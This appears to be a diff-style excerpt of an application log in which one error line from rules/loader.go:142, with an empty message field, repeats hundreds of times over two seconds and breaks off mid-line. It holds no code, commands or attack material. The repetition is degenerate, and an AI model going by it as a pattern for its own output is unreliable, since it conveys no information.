+time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:17+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= 